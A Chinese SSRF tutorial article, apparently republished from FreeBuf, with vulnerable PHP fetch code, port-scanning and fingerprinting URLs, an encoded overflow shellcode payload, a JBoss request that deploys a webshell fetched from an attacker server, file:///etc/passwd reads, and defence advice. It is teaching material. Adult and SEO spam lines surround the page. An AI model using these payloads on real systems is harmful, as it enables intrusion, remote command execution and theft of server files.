成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

SSRF攻擊實(shí)例解析

安全 應(yīng)用安全
很多web應(yīng)用都提供了從其他的服務(wù)器上獲取數(shù)據(jù)的功能。使用用戶指定的URL,web應(yīng)用可以獲取圖片,下載文件,讀取文件內(nèi)容等。這個(gè)功能如果被惡意使用,可以利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器。這種形式的攻擊稱為服務(wù)端請(qǐng)求偽造攻擊(Server-side Request Forgery)。

ssrf攻擊概述

很多web應(yīng)用都提供了從其他的服務(wù)器上獲取數(shù)據(jù)的功能。使用用戶指定的URL,web應(yīng)用可以獲取圖片,下載文件,讀取文件內(nèi)容等。這個(gè)功能如果被惡意使用,可以利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器。這種形式的攻擊稱為服務(wù)端請(qǐng)求偽造攻擊(Server-side Request Forgery)。

比如下圖顯示的就是提供這種功能的典型應(yīng)用:

SSRF攻擊實(shí)例解析

如果應(yīng)用程序?qū)τ脩籼峁┑腢RL和遠(yuǎn)端服務(wù)器返回的信息沒有進(jìn)行合適的驗(yàn)證和過濾,就可能存在這種服務(wù)端請(qǐng)求偽造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被發(fā)現(xiàn)過這種漏洞。攻擊者利用ssrf可以實(shí)現(xiàn)的攻擊主要有5種:

1.可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息;

2.攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序(比如溢出);

3.對(duì)內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識(shí)別,通過訪問默認(rèn)文件實(shí)現(xiàn);

4.攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli等);

5.利用file協(xié)議讀取本地文件等。

常用的后端實(shí)現(xiàn)

ssrf攻擊可能存在任何語言編寫的應(yīng)用,我們通過一些php實(shí)現(xiàn)的代碼來作為樣例分析。代碼的大部分來自于真實(shí)的應(yīng)用源碼。

1,php file_get_contents:

  1. <?php 
  2. if (isset($_POST['url']))  
  3. {  
  4. $content = file_get_contents($_POST['url']);  
  5. $filename ='./images/'.rand().';img1.jpg';  
  6. file_put_contents($filename$content);  
  7. echo $_POST['url'];  
  8. $img = "<img src=\"".$filename."\"/>";  
  9. }  
  10. echo $img;  
  11. ?> 

這段代碼使用file_get_contents函數(shù)從用戶指定的url獲取圖片。然后把它用一個(gè)隨即文件名保存在硬盤上,并展示給用戶。

2,php fsockopen():

  1. <?php  
  2. function GetFile($host,$port,$link)  
  3. {  
  4. $fp = fsockopen($hostintval($port), $errno$errstr, 30);  
  5. if (!$fp) {  
  6. echo "$errstr (error number $errno) \n";  
  7. else {  
  8. $out = "GET $link HTTP/1.1\r\n";  
  9. $out .= "Host: $host\r\n";  
  10. $out .= "Connection: Close\r\n\r\n";  
  11. $out .= "\r\n";  
  12. fwrite($fp$out);  
  13. $contents='';  
  14. while (!feof($fp)) {  
  15. $contents.= fgets($fp, 1024);  
  16. }  
  17. fclose($fp);  
  18. return $contents;  
  19. }  
  20. ?> 

這段代碼使用fsockopen函數(shù)實(shí)現(xiàn)獲取用戶制定url的數(shù)據(jù)(文件或者h(yuǎn)tml)。這個(gè)函數(shù)會(huì)使用socket跟服務(wù)器建立tcp連接,傳輸原始數(shù)據(jù)。

3,php curl_exec():

  1. <?php  
  2. if (isset($_POST['url'])) 
  3. $link = $_POST['url']; 
  4. $curlobj = curl_init(); 
  5. curl_setopt($curlobj, CURLOPT_POST, 0); 
  6. curl_setopt($curlobj,CURLOPT_URL,$link); 
  7. curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); 
  8. $result=curl_exec($curlobj); 
  9. curl_close($curlobj); 
  10.  
  11. $filename = './curled/'.rand().'.txt'
  12. file_put_contents($filename$result);  
  13. echo $result
  14. ?> 

這是另外一個(gè)很常見的實(shí)現(xiàn)。使用curl獲取數(shù)據(jù)。

攻擊場景

大部分的web服務(wù)器架構(gòu)中,web服務(wù)器自身都可以訪問互聯(lián)網(wǎng)和服務(wù)器所在的內(nèi)網(wǎng)。下圖展示了web服務(wù)器的請(qǐng)求可以到達(dá)的地方。

SSRF攻擊實(shí)例解析#p#

端口掃描

大多數(shù)社交網(wǎng)站都提供了通過用戶指定的url上傳圖片的功能。如果用戶輸入的url是無效的。大部分的web應(yīng)用都會(huì)返回錯(cuò)誤信息。攻擊者可以輸入一些不常見的但是有效的URI,比如

http://example.com:8080/dir/images/
http://example.com:22/dir/public/image.jpg
http://example.com:3306/dir/images/

然后根據(jù)服務(wù)器的返回信息來判斷端口是否開放。大部分應(yīng)用并不會(huì)去判斷端口,只要是有效的URL,就發(fā)出了請(qǐng)求。而大部分的TCP服務(wù),在建立socket連接的時(shí)候就會(huì)發(fā)送banner信息,banner信息是ascii編碼的,能夠作為原始的html數(shù)據(jù)展示。當(dāng)然,服務(wù)端在處理返回信息的時(shí)候一般不會(huì)直接展示,但是不同的錯(cuò)誤碼,返回信息的長度以及返回時(shí)間都可以作為依據(jù)來判斷遠(yuǎn)程服務(wù)器的端口狀態(tài)。

下面一個(gè)實(shí)現(xiàn)就可以用來做端口掃描:

  1. <?php  
  2. if (isset($_POST['url'])) 
  3. $link = $_POST['url']; 
  4. $filename = './curled/'.rand().'txt'
  5. $curlobj = curl_init($link); 
  6. $fp = fopen($filename,"w"); 
  7. curl_setopt($curlobj, CURLOPT_FILE, $fp); 
  8. curl_setopt($curlobj, CURLOPT_HEADER, 0); 
  9. curl_exec($curlobj); 
  10. curl_close($curlobj); 
  11. fclose($fp); 
  12. $fp = fopen($filename,"r"); 
  13. $result = fread($fpfilesize($filename));  
  14. fclose($fp); 
  15. echo $result
  16. ?> 

讀者可以使用如下表單提交測試(比較簡陋~~):

  1. <html><body> 
  2. <form name="px" method="post" action="http://127.0.0.1/ss.php"> 
  3. <input type="text" name="url" value=""> 
  4. <input type="submit" name="commit" value="submit"> 
  5. </form> 
  6. <script> 
  7. </script> 
  8. </body></html> 

正常情況下,請(qǐng)求http://www.twitter.com/robots.txt 返回結(jié)果如下:

SSRF攻擊實(shí)例解析

如果請(qǐng)求非http服務(wù)的端口,比如:http://scanme.nmap.org:22/test.txt 會(huì)返回banner信息

SSRF攻擊實(shí)例解析

請(qǐng)求關(guān)閉的端口會(huì)報(bào)錯(cuò):http://scanme.nmap.org:25/test.txt

SSRF攻擊實(shí)例解析

請(qǐng)求本地的mysql端口:http://127.0.0.1:3306/test.txt

SSRF攻擊實(shí)例解析

當(dāng)然大多數(shù)互聯(lián)網(wǎng)的應(yīng)用并不會(huì)直接返回banner信息。不過可以通過前面說過的,處錯(cuò)誤信息,響應(yīng)時(shí)間,響應(yīng)包大小來判斷。下面是Google的webmaster應(yīng)用中,利用返回信息判斷端口狀態(tài)的案例.該缺陷Google已修復(fù)。

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析#p#

攻擊應(yīng)用程序

內(nèi)網(wǎng)的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通過ssrf攻擊,可以實(shí)現(xiàn)對(duì)內(nèi)網(wǎng)的訪問,從而可以攻擊內(nèi)網(wǎng)或者本地機(jī)器,獲得shell等。

下面是用一個(gè)小程序本地來演示:

請(qǐng)求:http://127.0.0.1:8987/test.txt

SSRF攻擊實(shí)例解析

探測到8987端口開放。

請(qǐng)求:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析

這里是白盒分析,實(shí)戰(zhàn)的時(shí)候當(dāng)然沒這個(gè)條件只能是利用已知漏洞來溢出。通過分析寫好exp。因?yàn)閔ttp是基于文本的協(xié)議,所以處理一些不可以打印的unicode字符會(huì)存在問題。這里使用msfencode來進(jìn)行編碼。命令如下:

msfpayload widnows/exec CMD=calc.exe R | msfencode

bufferRegister=ESP -e x86/alpha_mixed

最終payload如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm
YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl
5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn
k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU
8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2
xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm
KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

溢出成功,彈出計(jì)算器。

SSRF攻擊實(shí)例解析

大家也許會(huì)對(duì)http發(fā)送的數(shù)據(jù)是否能被其他服務(wù)器協(xié)議接收存在疑問。可以參考跨協(xié)議通信技術(shù)利用.#p#

內(nèi)網(wǎng)web應(yīng)用指紋識(shí)別

識(shí)別內(nèi)網(wǎng)應(yīng)用使用的框架,平臺(tái),模塊以及cms可以為后續(xù)的攻擊提供很多幫助。大多數(shù)web應(yīng)用框架都有一些獨(dú)特的文件和目錄。通過這些文件可以識(shí)別出應(yīng)用的類型,甚至詳細(xì)的版本。根據(jù)這些信息就可以針對(duì)性的搜集漏洞進(jìn)行攻擊。比如可以通過訪問下列文件來判斷phpMyAdmin是否安裝:

Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

訪問 http://10.0.0.1/portName.js 可以判斷是否是Dlink 路由器

SSRF攻擊實(shí)例解析

下面百度的案例來自于wooyun,已經(jīng)修復(fù)。通過訪問http://10.50.33.43:8080/manager/images/tomcat.gif 識(shí)別出服務(wù)器使用了tomcat。

SSRF攻擊實(shí)例解析

SSRF攻擊實(shí)例解析#p#

攻擊內(nèi)網(wǎng)web應(yīng)用

僅僅通過get方法可以攻擊的web有很多,比如struts2命令執(zhí)行等。這里提供一個(gè)Jboss的案例,使用一個(gè)get請(qǐng)求即可部署webshell。

SSRF攻擊實(shí)例解析

只需要將網(wǎng)馬放在公網(wǎng)服務(wù)器上,然后發(fā)送這個(gè)請(qǐng)求即可:

&name=jboss.system:service=MainDeployer&methodIndex=17
&arg0=http://our_public_internet_server/utils/cmd.war

通過加參數(shù)請(qǐng)求網(wǎng)馬執(zhí)行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir

SSRF攻擊實(shí)例解析

實(shí)戰(zhàn)中一般不會(huì)有回顯,類似于盲打只能。

讀取本地文件

上面提到的案例都是基于http請(qǐng)求的。如果我們指定file協(xié)議,也可能讀到服務(wù)器上的文件。如下的請(qǐng)求會(huì)讓應(yīng)用讀取本地文件:

Request: file:///C:/Windows/win.ini

SSRF攻擊實(shí)例解析

下面是Adobe的一個(gè)案例,已經(jīng)修復(fù)。請(qǐng)求為file:///etc/passwd

SSRF攻擊實(shí)例解析

如何防御

通常有以下5個(gè)思路:

1,過濾返回信息,驗(yàn)證遠(yuǎn)程服務(wù)器對(duì)請(qǐng)求的響應(yīng)是比較容易的方法。如果web應(yīng)用是去獲取某一種類型的文件。那么在把返回結(jié)果展示給用戶之前先驗(yàn)證返回的信息是否符合標(biāo)準(zhǔn)。

2, 統(tǒng)一錯(cuò)誤信息,避免用戶可以根據(jù)錯(cuò)誤信息來判斷遠(yuǎn)端服務(wù)器的端口狀態(tài)。

3,限制請(qǐng)求的端口為http常用的端口,比如,80,443,8080,8090。

4,黑名單內(nèi)網(wǎng)ip。避免應(yīng)用被用來獲取獲取內(nèi)網(wǎng)數(shù)據(jù),攻擊內(nèi)網(wǎng)。

5,禁用不需要的協(xié)議。僅僅允許http和https請(qǐng)求。可以防止類似于file:///,gopher://,ftp:// 等引起的問題。

參考資料

http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html

http://evilcos.me/?p=2

http://www.wooyun.org

via riyazwalikar.com

責(zé)任編輯:藍(lán)雨淚 來源: FreebuF
相關(guān)推薦

2022-02-16 07:37:36

惡意文檔網(wǎng)絡(luò)釣魚攻擊

2018-11-02 12:37:53

DDos攻擊信息安全攻擊

2011-05-16 10:50:19

2011-01-26 12:56:24

2010-10-09 11:20:13

2009-07-12 16:50:08

2011-04-13 11:16:10

路由器WCCPWeb

2010-10-08 14:53:17

2014-12-31 09:10:57

2013-04-03 10:34:52

2013-04-01 10:12:39

2025-03-14 06:30:00

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2023-02-23 09:32:13

2014-01-13 09:30:20

2011-06-13 14:56:10

2012-11-27 09:59:46

2010-09-14 16:00:16

2010-06-07 20:19:49

2010-09-14 09:04:54

2010-08-02 09:43:00

Flex應(yīng)用
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 青青草原综合久久大伊人精品 | 欧美日韩视频一区二区 | 亚洲欧美综合 | 国产精品一区三区 | 毛片一级网站 | 欧美激情视频一区二区三区在线播放 | 午夜大片 | 久久成人18免费网站 | 国产精品亚洲视频 | 亚洲欧洲日韩精品 中文字幕 | 亚洲国产成人精品女人久久久 | 国产资源视频 | 九九免费视频 | 美女天天操| 日韩精品一区二区三区视频播放 | 毛片av免费看 | 亚洲一区二区在线视频 | 日本福利片 | 国产精品毛片 | www.国产.com | 久久99精品视频 | 欧美精品一区久久 | 亚洲成人毛片 | 亚洲视频在线观看一区二区三区 | 精品国产一区二区三区久久久久久 | 日韩毛片在线免费观看 | 中文字幕精品一区二区三区在线 | 色综合天天天天做夜夜夜夜做 | 色婷婷av777 av免费网站在线 | 在线看日韩 | 午夜精品一区二区三区在线视频 | 成人在线精品 | 久久小视频 | 欧美一级片 | 国产精品视频中文字幕 | 一区二区欧美在线 | 国产精品久久久久久久久免费 | 国产精品久久久久久久久婷婷 | wwww.xxxx免费 | 97久久精品午夜一区二区 | 久久综合一区 |